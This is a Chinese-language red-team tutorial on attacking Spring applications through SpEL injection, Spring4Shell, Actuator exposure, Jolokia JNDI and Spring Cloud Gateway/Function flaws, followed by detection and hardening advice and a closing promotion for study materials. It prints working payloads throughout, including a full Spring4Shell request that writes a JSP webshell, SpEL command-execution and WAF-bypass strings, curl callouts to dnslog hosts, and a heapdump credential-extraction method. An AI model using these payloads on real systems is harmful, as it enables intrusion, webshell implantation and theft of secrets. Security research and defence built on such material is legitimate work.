🔒免责声明:本文内容仅用于授权渗透测试、红蓝对抗、安全研究学习,所有实验操作必须在自建隔离靶场完成。未经授权对互联网业务系统实施渗透、漏洞利用属于违法行为,请严格遵守网络安全相关法律法规。
前言
Java 生态里面,Spring 全家桶是企业项目的绝对主流,Spring Framework、Spring‑Boot、Spring‑Cloud、Spring‑Data、Spring‑Security 覆盖从单体 Web 项目到大型微服务集群。红队实战中,Spring 相关高危漏洞出现频率极高:SpEL 表达式注入、Spring4Shell、Spring‑Cloud‑Gateway RCE、Actuator 未授权、Thymeleaf SSTI,各类漏洞利用链层出不穷,同时版本复杂、依赖条件多,很多复制 Payload 直接失败。
很多安全从业者只会简单复制网上 POC,遇到版本差异、WAF 过滤、依赖缺失、容器环境就直接卡住,分不清哪些漏洞是真正可利用,哪些漏洞存在苛刻前置条件。本文万字实战汇总,梳理 Spring 系列红队高频漏洞:SpEL 表达式注入原理与各类场景、Spring4Shell (CVE‑2022‑22965) 完整复现、SpringBoot 系列漏洞、Actuator 利用、Spring‑Cloud 系列漏洞、Payload 绕过、踩坑排错、检测手段、开发侧修复加固方案。
MITRE ATT&CK 映射:T1203 利用客户端执行,T1190 面向公众的漏洞利用,T1059.007 Java 解释器,T1505.003 Web 内存马。
涉及组件:Spring Framework、Spring‑Boot、Spring‑Cloud‑Gateway、Spring‑Data‑Commons、Thymeleaf、Actuator。
一、SpEL 表达式注入:Spring 最核心漏洞根源
1.1 SpEL 基础概念
SpEL 全称 Spring Expression Language,Spring 内置的表达式引擎,类似 OGNL,用于运行时操作对象、调用方法、访问类静态属性,Spring 大量注解、配置、模板、校验逻辑底层依赖 SpEL 解析。
两种语法标记:
#{表达式} // 执行表达式,最常触发RCE ${变量} // 读取属性占位符,默认不会执行复杂方法高危关键点:当使用StandardEvaluationContext上下文时,表达式可以通过T(全类名)语法加载任意 Java 类,调用静态方法,实现远程代码执行;如果使用SimpleEvaluationContext做沙箱限制,则会禁止类加载,无法直接 RCE。
危险代码示例(漏洞产生的根本):
String userInput = request.getParameter("input"); SpelExpressionParser parser=new SpelExpressionParser(); // 使用StandardEvaluationContext,完全无沙箱 Expression exp=parser.parseExpression(userInput); exp.getValue();用户可控输入直接送入parseExpression解析,就会触发 SpEL 注入。
基础 RCE Payload 原型:
T(java.lang.Runtime).getRuntime().exec("whoami") #{T(java.lang.Runtime).getRuntime().exec("calc")}注意:Runtime.exec 不能直接回显命令输出,实战中经常需要写文件、DNSlog、反弹 shell,不能直接看到 whoami 结果,很多新手误以为 Payload 失效。
1.2 实战中会触发 SpEL 注入的高频组件场景
场景 1:Spring‑Data‑Commons CVE‑2018‑1273
- 影响版本:Spring‑Data‑Commons <2.0.5,<1.13.10
- 利用条件:启用 Spring‑Data REST,攻击者构造 POST 请求参数,参数值直接被 SpEL 解析,无需认证直接 RCE。
- 漏洞根源:Projection 投影功能,用户可控参数被送入 SpEL 解析。
- 请求样例:
POST /users?projection=T(java.lang.Runtime).getRuntime().exec("curl dnslog.cn") HTTP/1.1 Host: 127.0.0.1场景 2:Spring Cloud Gateway CVE‑2022‑22947
Spring Cloud Gateway 是微服务网关,Actuator 端点暴露且开启modify‑request‑body过滤器,恶意路由配置中可以写入 SpEL 表达式,未授权 RCE。
重要利用条件:
- spring‑cloud‑gateway actuator 端点对外暴露;
- 允许修改路由
POST /actuator/gateway/routes接口。
很多网上 POC 忽略条件,直接发送请求返回 404,环境不满足。
Payload 片段:
{ "id":"test","uri":"http://127.0.0.1","predicates":["Path=/test"], "filters":["RewritePath=#{T(java.lang.Runtime).getRuntime().exec('curl xxx.dnslog.cn')}, /${path}"] }攻击流程:提交恶意路由 → refresh 网关触发表达式执行 → 命令执行。
场景 3:Spring Security OAuth CVE‑2016‑4977
OAuth2 错误处理页面,恶意参数传入 SpEL 表达式,需要基础身份认证,表达式在异常处理流程执行,实现 RCE。
场景 4:Thymeleaf 模板 SSTI(经常被误认为 SpEL)
Thymeleaf 模板引擎,th:each、th:utext接收可控输入,__${}__语法逃逸沙箱,很多 Java 靶场、若依系统出现该漏洞,Payload 需要特殊绕过空格过滤,Tab、换行可以绕过关键字检测。
__${T (java.lang.Runtime).getRuntime().exec("calc")}__1.3 SpEL 实战 Payload 集合、回显问题、WAF 绕过
问题:Runtime.exec 无回显
Java 中Runtime.exec()只会执行命令,不会返回标准输出,直接发包看不到 whoami 结果。三种实战方案:
- DNSlog / HTTP 外带,curl 请求 dnslog、ceye;
- 写入 Web 目录生成 webshell;
- 使用 ProcessBuilder 读取输出,将结果写入响应。
带回显 SpEL Payload 示例:
#{T(java.util.Scanner).new(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}常见绕过技巧
- 空格过滤:使用制表符
\t、换行;T\t(java.lang.Runtime); - 关键字黑名单:字符串拼接;
#{T('java.lan'+'g.Runtime').getRuntime().exec('id')}- 双重 URL 编码;
- 反射链式调用,规避 Runtime 关键字检测;
- 避免直接写 exec,调用 ProcessBuilder。
1.4 SpEL 注入红队排错要点
- 返回 400 不是漏洞不存在,很可能 Payload 语法错误,SpEL 语法容错很低,括号、引号错一个字符直接报错;
- SimpleEvaluationContext 沙箱环境,T () 语法被禁用,无论怎么写都无法 RCE;
- 部分场景 SpEL 只在异常流程才执行,必须触发异常才会运行表达式;
- Spring Boot2.x、3.x 版本 SpEL 库本身更新,部分旧 Payload 失效。
二、Spring4Shell CVE‑2022‑22965 深度剖析(红队高频)
2.1 漏洞基础信息
漏洞名称:Spring4Shell,CVE‑2022‑22965,Spring Framework 远程代码执行漏洞中国信息安…。
严格利用条件(很多人踩坑,条件缺一不可)
- JDK 版本 >= JDK9;JDK8 及以下不受影响;
- Spring Framework 5.3.0‑5.3.17、5.2.0‑5.2.19;
- 运行在 Tomcat Servlet 容器;
- 项目部署方式为 war 包;
- 依赖 spring‑beans,参数绑定功能可用。
注意:Spring Boot 默认 Jar 包内置 Tomcat 环境不能复现 Spring4Shell!网上大量 POC 直接复制打 SpringBoot jar 包永远失败,这是最经典误区。
漏洞原理:
JDK9 之后新增模块系统,允许通过参数绑定class.module.classLoader.*修改内部字段。攻击者通过 HTTP 请求传入特殊参数,修改 Tomcat 内部的LoggingClassLoader,写入恶意 jar 文件到服务器磁盘,最终实现代码执行。
漏洞本质不是 SpEL,是 Spring MVC 参数数据绑定机制,可控请求参数直接设置对象属性,无需 SpEL 解析。
2.2 完整攻击流程
- 构造恶意 POST 请求,传入
class.module.classLoader.resources.context.parent.pipeline.first.*系列参数; - Spring MVC 参数绑定把 http 参数赋值给 Tomcat 内部对象;
- 修改日志文件前缀、后缀、日志目录;把日志文件改成 jsp;
- 向服务发送请求,日志记录会写入恶意 JSP Webshell;
- 访问生成的 jsp 文件,获取 shell。
HTTP 请求 POC 模板:
POST / HTTP/1.1 Host: 127.0.0.1 Content‑Type: application/x‑www‑form‑urlencoded class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20%3D%20‑1;%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D;%20while((a%3Din.read(b))!%3D‑1)%7Bout.println(new%20String(b));%7D%20%7D%20if(1%3D%3D1)%7B%25%7Bc1%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=执行后会在webapps/ROOT/shell.jsp生成 webshell。
2.3 Spring4Shell 红队实战踩坑清单
- JDK8 环境无论怎么打都无效,该漏洞只针对 JDK9+;
- SpringBoot jar 内置 Tomcat 无法利用,必须是外部 Tomcat 部署 war 包;
- 目标禁用 Tomcat AccessLogValve 日志组件,漏洞无法利用;
- 路径权限不足,没有写 webapps 目录权限,写文件失败;
- 新版本 Spring 已经修复,升级 5.3.18、5.2.20 以上版本修复该漏洞;
- WAF 会拦截
class.module.classLoader关键字,需要 URL 编码、变形绕过。
2.4 漏洞缓解方案
- 升级 Spring Framework 版本;
- JDK9 + 环境,增加全局参数绑定黑名单;
- Tomcat 移除 AccessLogValve;
- WAF 拦截特征参数
class.module.classLoader。
三、Spring‑Boot 体系漏洞梳理,红队实战攻击面
Spring‑Boot 简化 Spring 配置,自动装配,大量企业业务使用,漏洞分为两大类:代码漏洞、配置错误漏洞。很多时候不是框架代码 0day,是开发者配置不当产生高危攻击面。
3.1 Actuator 端点未授权访问(红队遇到最多)
Actuator 是 SpringBoot 监控组件,提供大量端点查看环境、Bean、配置、线程、heapdump 堆转储文件。
常见端点:
/actuator/env环境变量,数据库账号密码;/actuator/heapdumpJVM 堆 dump,下载后可以提取内存中的明文密码、token;/actuator/beansSpring 全部 Bean 列表;/actuator/mappings全部接口路由映射;/actuator/shutdown关闭应用(POST 触发,危险)。
风险场景:
- 开发人员直接把 actuator 全部端点暴露公网,没有鉴权;
- 路径改写:部分项目把 actuator 改到
/manage、/admin路径,扫描器默认 /actuator 扫不到; - 版本差异:SpringBoot1.x 端点根路径直接
/env,没有 /actuator 前缀,2.x 之后统一增加 /actuator 前缀。
Actuator 红队利用链
- 访问
/actuator/mappings拿到全部后端接口,发现未授权业务接口; - 下载 heapdump 堆转储文件,使用 MAT 工具分析,提取账号密码、JWT 密钥;
/actuator/env泄露数据库、redis 密码;- 如果存在 jolokia,配合 JNDI 注入实现 RCE;
注意:原生 Actuator 本身没有直接 RCE 端点,网上流传 actuator 直接命令执行大多错误,需要结合 Jolokia 或者其他组件。
Actuator 漏洞复现常见配置错误 application.yml:
management: endpoints: web: exposure: include: '*' # 把所有监控端点全部对外开放,高危配置3.2 Jolokia + SpringBoot JNDI 注入
Jolokia 是 JMX over HTTP 组件,很多项目引入,当启用 jolokia,且 JDK 版本较低,可构造 JNDI lookup 触发远程代码执行。
路径示例:/jolokia/?maxDepth=7&maxCollectionSize=50000&ignoreErrors=true&proxy‑url=ldap://xxx.dnslog:1389/exp。
3.3 SpringBoot 其他配置类风险
- 开启 H2 数据库控制台
/h2‑console未授权访问,直接连接数据库; - Swagger‑UI 接口文档暴露,泄露大量后端接口,红队信息收集重要资产;
- 错误页面栈信息泄露,spring‑boot 默认 whitelabel 页面,泄露绝对路径、类名。
四、Spring‑Cloud 微服务系列漏洞汇总
微服务体系 Spring‑Cloud 网关、配置中心,在攻防演练中出现频率很高。
4.1 Spring‑Cloud‑Gateway CVE‑2022‑22947 SpEL RCE
前面 SpEL 章节已经介绍,再重申利用条件:
- Actuator 暴露;
- 可以访问
POST /actuator/gateway/routes新增路由; - 允许 modify‑request‑body 过滤器。
攻击完整步骤:
- POST 提交包含恶意 SpEL 表达式的路由;
- POST 调用
/actuator/gateway/refresh刷新路由,触发 SpEL 执行; - DNSlog 验证命令执行。
很多生产环境网关 actuator 内网开放,外网无法访问,只能内网横向利用。
4.2 Spring Cloud Config Server 路径穿越
CVE‑2021‑21234,配置中心未授权,构造特殊路径读取服务器任意配置文件,获取数据库账号密码。
4.3 Spring‑Cloud‑Function SpEL RCE CVE‑2022‑22963
函数组件,HTTP 传入可控参数触发 SpEL 执行,未授权 RCE。
影响版本:3.1.0、3.0.0,旧版本。
Payload 放在 http header,spring‑cloud‑function‑expression。
五、Spring 家族红队实战方法论:从探测到漏洞利用完整流程
拿到一个 Java Web 站点,疑似 Spring 全家桶项目,红队标准排查流程。
5.1 识别 Spring 标识
- 报错页面:Whitelabel Error Page,Spring‑Boot 标志性错误页面;
- 响应头:
X‑Application‑Context; - 访问常见路径:
/actuator、/actuator/env、/swagger‑ui.html、/h2‑console; - 404 页面特征;
- Wappalyzer、xray 指纹识别 SpringBoot。
5.2 信息收集阶段
- 探测 Actuator 全部可能路径,注意 1.x/2.x 路径差异;
- 获取 mappings 接口,整理全部业务接口;
- 下载 heapdump,解析内存密钥;
- 识别 Spring Framework、Spring‑Cloud 子组件版本号;
- 确认 JDK 版本(从报错、响应头推断),判断是否存在 Spring4Shell 利用条件。
5.3 漏洞测试顺序
- 配置错误优先测试:Actuator 未授权、H2 控制台;配置类漏洞利用门槛最低;
- 微服务组件:Gateway、Config、Function;
- SpEL 注入测试:寻找可控参数、路径变量 @PathVariable,测试 SpEL 表达式;
- Spring4Shell:确认 JDK>=9、war 包 + 外部 Tomcat 才进行测试,不要盲目打;
- Thymeleaf SSTI 模板注入;
5.4 获取 Shell 之后:Spring 环境内存马
拿到 Spring 应用权限,优先 Java 内存马,不需要落地磁盘文件。
Spring‑Controller 内存马、Filter 内存马、Interceptor 内存马。
实战注意:SpringBoot2 和 SpringBoot3 部分 API 发生变更,内存马 payload 版本不兼容,版本错误直接报错失效。
六、实战高频踩坑与排错总结
坑 1:网上 Spring4Shell POC 直接复制打 SpringBoot Jar 包
❌失效原因:Spring4Shell 需要外部 Tomcat war 部署,内置 Tomcat jar 模式无法利用,JDK 必须 9 以上。很多新人浪费大量时间调试 POC,实际环境不满足前提条件。
坑 2:SpEL 发送 Payload,DNSlog 没有响应,直接判定不存在漏洞
- Runtime.exec 不会抛出异常,命令执行失败也没有报错;
- 服务器内网隔离,无法出网访问 DNSlog;建议同时使用写文件测试;
- SpEL 语法错误,引号括号不匹配,直接返回 400;
- 沙箱 SimpleEvaluationContext 禁用 T () 语法,无法加载类。
坑 3:Spring‑Cloud‑Gateway 直接发送 POC 返回 404
- Actuator 端点没有对外开放;
- security 鉴权拦截 POST 接口;
- 网关版本不在受影响版本范围;
- 配置不允许 modify‑request‑body 过滤器。
坑 4:Actuator heapdump 下载巨大文件,不知道怎么提取密码
heapdump 是二进制堆快照,不要文本打开;使用 Eclipse MAT 工具导入,OQL 语句搜索 password 关键字,提取内存中明文账号密码。
坑 5:区分 SpEL ${} 和 #{}
${}只是属性占位符,大部分场景不能执行方法;RCE 几乎全部依靠#{}语法。
坑 6:SpringBoot 3 版本大量旧 Payload 失效
SpringBoot3 依赖 Spring Framework6,Jakarta EE 包名变更 (javax.* → jakarta.*),很多老内存马、POC 是基于 javax.servlet,直接报错。
七、蓝队视角:检测、审计、防御加固方案
7.1 漏洞检测手段
- 被动指纹识别:识别 Spring‑Boot、Spring‑Cloud 组件版本;
- Actuator 端点扫描,重点扫描非标准路径 /manage、/admin;
- WAF 规则:拦截 Spring4Shell 特征
class.module.classLoader,拦截 SpEL #{T (java.lang.Runtime)}; - 流量日志监控:出现大量 SpEL 特征字符串的 HTTP 请求视为攻击侦察行为;
- 代码审计:查找用户可控输入直接传入 SpEL
parseExpression函数。
7.2 开发层面修复加固
SpEL 注入防御
- 非必要不要使用 StandardEvaluationContext;优先使用 SimpleEvaluationContext 沙箱模式;
- 用户输入不能直接作为 SpEL 表达式执行;
- 过滤 T ()、new 等危险表达式关键字。
Spring4Shell 修复
- 升级 Spring Framework 到安全版本;
- 设置 WebDataBinder 参数绑定黑名单,禁止绑定 class.module.* 字段。application 全局配置。
Actuator 安全加固
application.yml 正确安全配置示例:
management: endpoints: web: exposure: include: health # 只开放health健康检查端点,禁止include:'*' endpoint: shutdown: enabled: false # 关闭危险shutdown端点- Actuator 不要对外网暴露;如需访问,增加 Spring‑Security 鉴权;
- 生产环境不要开启 h2‑console 控制台。
通用安全建议
- 依赖版本定期升级 Spring 全家桶组件,关注 CVE 漏洞通告;
- 微服务网关、配置中心只允许内网访问,禁止暴露公网;
- 错误页面关闭详细异常栈输出,关闭 whitelabel 完整报错;
- 升级 JDK,最小化 JDK 模块,减少参数绑定攻击面。
八、Spring 漏洞认知误区总结
误区 1:Spring4Shell 是 SpringBoot 的 0day
❌错误。Spring4Shell 针对 Spring Framework,SpringBoot Jar 内置 Tomcat 绝大多数情况无法复现,必须外部 Tomcat 部署 war 包 + JDK9+。
误区 2:只要传入 #{xxx} 就会触发 SpEL RCE
❌错误。必须代码中把输入交给 SpEL 引擎解析,仅仅请求参数包含 #{字符串} 不会执行表达式。很多扫描器误报就是这个原因。
误区 3:Actuator /actuator/env 接口可以直接命令执行
❌错误。原生 actuator env 端点只能读取、修改环境变量,没有直接命令执行能力,RCE 需要结合 jolokia 等其他组件。
误区 4:SpEL 中 Runtime.exec 执行没有回显代表漏洞不存在
❌错误。exec 本身不返回输出,必须 DNSlog、写文件、Scanner 读取流才能确认结果。
误区 5:Spring‑Cloud‑Gateway 只要存在就存在 CVE‑2022‑22947 漏洞
❌错误。需要 actuator 暴露,并且允许新增路由接口,生产环境绝大多数网关不会开放 actuator 公网访问。
误区 6:网上 POC 通杀所有 Spring 版本
❌错误。SpringBoot2、SpringBoot3 包名变更,SpEL 库版本更新,很多老 POC 在新版本直接失效,实战要区分版本。
总结
Spring 全家桶是 Java 红队绕不开的攻击面,漏洞分为两大类别:框架代码漏洞(Spring4Shell、SpEL 注入)、开发配置错误漏洞(Actuator 未授权)。很多实战中,配置错误漏洞比框架 0day 更容易拿到权限。
红队实战中,不要拿到 POC 就直接无脑打,优先核对漏洞前置条件:JDK 版本、部署方式、组件依赖、鉴权状态。SpEL 注入核心看StandardEvaluationContext沙箱状态;Spring4Shell 记住 JDK9+、war 包、外部 Tomcat 三个硬性条件;Actuator 重点搜集 heapdump 堆文件,从内存提取账号密码,是攻防演练收益极高的攻击手段。
从防御侧,Spring 安全不能只靠升级版本,开发配置错误往往是入侵突破口,收敛 Actuator、网关、配置中心暴露面,限制对外访问,关闭不必要端点,才能降低整体攻击面。
本文梳理的漏洞均为公开 CVE,仅用于授权安全研究,禁止未授权实际环境利用。
最后
关于网络安全技术储备
网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】